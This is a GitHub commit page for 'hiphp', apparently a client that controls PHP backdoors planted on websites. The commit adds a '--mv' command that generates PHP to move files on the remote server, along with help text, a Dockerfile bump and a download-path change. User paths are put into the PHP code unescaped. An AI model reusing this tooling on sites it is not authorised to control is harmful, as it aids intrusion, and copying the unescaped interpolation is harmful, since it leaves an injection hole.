Skip to content

Commit

Permalink
0.3.2
Browse files Browse the repository at this point in the history
Signed-off-by: Boudjada Yasser <by.root96@gmail.com>
  • Loading branch information
yasserbdj96 authored May 27, 2023
1 parent 6e36553 commit b2bd228
Show file tree
Hide file tree
Showing 13 changed files with 77 additions and 7 deletions.
1 change: 1 addition & 0 deletions CHANGELOG
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
- Fixed websites scanner on hiphp-cli.
- Changed license from "Apache Software License" to "MIT License."
- Fix "--cd" command on "hiphp-cli".
- Add "--mv" as a new command on "hiphp-cli".
- Addressed bug fixes and implemented performance improvements for a more reliable experience.

## 0.3.1 [06-03-2023]
Expand Down
2 changes: 1 addition & 1 deletion Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,7 @@
# docker run --rm -p 127.0.0.1:8080:8080 -e DOCKER=True -e DST=True -i -t ghcr.io/yasserbdj96/hiphp:latest

#START{
FROM python:3.11.2
FROM python:3.11.3

# start install google-chrome:
# Download the Chrome Driver
Expand Down
30 changes: 28 additions & 2 deletions hiphp/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -201,6 +201,14 @@ def check_hiphp_in(url):
#about
elif command[0:7].lower()=="--about" or command[0:5].lower()=="about":
print(about())
#cp
elif command[0:4].lower()=="--mv" or command[0:2].lower()=="mv":
ppth=command.split(" ")
try:
command=simulate_mv(ppth[1],ppth[2])
print(hiphp.do(self,self.key,self.url,self.headers,True,command))
except:
help(__version__,"--mv")
#download
elif command[0:6].lower()=="--down" or command[0:4].lower()=="down" or command[0:8].lower()=="download":
down=command.split(" ")
Expand Down Expand Up @@ -491,6 +499,7 @@ def run(self,command):

#upload:
def upload(self,path_to_upluad,to=""):
self.DS=hiphp.do(self,self.key,self.url,self.headers,True,DIRECTORY_SEPARATOR())
try:
with open(path_to_upluad,"rb") as base64_file:
encoded_string=tobase64(base64_file.read().decode("utf-8"))
Expand All @@ -516,10 +525,27 @@ def compress(self,path=""):

#download:
def download(self,path_x,outpath=""):
def get_download_folder():
if os.name == 'nt': # Windows
download_folder = os.path.expanduser('~/Downloads')
elif os.name == 'posix': # Linux, macOS, and other UNIX-based systems
download_folder = os.path.expanduser('~/Downloads')
else:
# Unsupported operating system
download_folder = None

return download_folder
download_folder = get_download_folder()
if download_folder:
outpath=download_folder
else:
outpath=os.path.abspath(os.getcwd())


new_command=file_to_b64(path_x)
path_x=os.path.basename(path_x)
if outpath=="":
outpath=os.path.abspath(os.getcwd())
#if outpath=="":
# outpath=os.path.abspath(os.getcwd())

if outpath[-1]!=self.sep:
outpath+=self.sep
Expand Down
9 changes: 8 additions & 1 deletion hiphp/hiphphelp.py
Original file line number Diff line number Diff line change
Expand Up @@ -120,6 +120,13 @@ def help(__version__,opt=""):
--rm -f [FILE_PATH] # Delete a file.
--rm -d [DIR_PATH] # Delete a folder.
"""

#
mv_c="""
--mv, mv # Move files and folders.
Usage: --mv [SOURCE] [DESTINATION]
"""

#
ABOUT="""
About:
Expand All @@ -130,7 +137,7 @@ def help(__version__,opt=""):
--version, version # Get the current version number."""

if opt=="":
return header+OPTIONS+ACTIONS+ls_c+spsbar+cat_c+spsbar+set_c+spsbar+cd_c+spsbar+rf_c+spsbar+up_c+spsbar+down_c+spsbar+zip_c+spsbar+edt_c+spsbar+rm_c+spsbar+ABOUT
return header+OPTIONS+ACTIONS+ls_c+spsbar+cat_c+spsbar+set_c+spsbar+cd_c+spsbar+rf_c+spsbar+up_c+spsbar+down_c+spsbar+zip_c+spsbar+edt_c+spsbar+rm_c+spsbar+mv_c+spsbar+ABOUT
else:
opt=opt.replace("--","")
opt=opt+"_c"
Expand Down
36 changes: 36 additions & 0 deletions hiphp/hiphpphpfunctions.py
Original file line number Diff line number Diff line change
Expand Up @@ -144,6 +144,42 @@ def scandir_all(dirx="./"):
def file_get_contents(dirx):
return f"""echo file_get_contents('{dirx}');"""

def simulate_mv(path, newpath):
php_code = f"""
// Check if the source file or directory exists
if (!file_exists('{path}')) {{
echo "[✗] Source doesn't exist.";
return;
}}
// Check if the destination exists
if (file_exists('{newpath}')) {{
echo "[!] Destination already exists. Please choose a different destination.";
return;
}}
// Check if the source is a file
if (is_file('{path}')) {{
// Move the file to the destination
if (rename('{path}', '{newpath}')) {{
echo "[✓] File moved successfully.";
}} else {{
echo "[✗] Error moving the file.";
}}
}} elseif (is_dir('{path}')) {{
// Move the directory to the destination
if (mkdir('{newpath}') && rename('{path}', '{newpath}/' . basename('{path}'))) {{
echo "[✓] Directory moved successfully.";
}} else {{
echo "[✗] Error moving the directory.";
}}
}} else {{
echo "[✗] Unsupported source type.";
}}
"""

return php_code

#
def zip_path(path="./"):
php_zip_code="""// Get real path for our folder
Expand Down
6 changes: 3 additions & 3 deletions requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,8 @@ BeautifulSoup4
twine
#for ipynb
pyngrok
#for hiphp-desktop
eel
#for hiphp-tk
tk
chardet
chardet
#for hiphp-desktop
eel
Binary file modified screenshot/HIPHP_HOLE_CODE.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified screenshot/screenshot.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified screenshot/screenshot0.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified screenshot/screenshot1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified screenshot/screenshot14.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified screenshot/screenshot2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified screenshot/screenshot3.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

1 comment on commit b2bd228

@vercel
Copy link

@vercel vercel bot commented on b2bd228 May 27, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Successfully deployed to the following URLs:

hiphp – ./

hiphp-git-main-yasserbdj96.vercel.app
hiphp.vercel.app
hiphp-yasserbdj96.vercel.app

Please sign in to comment.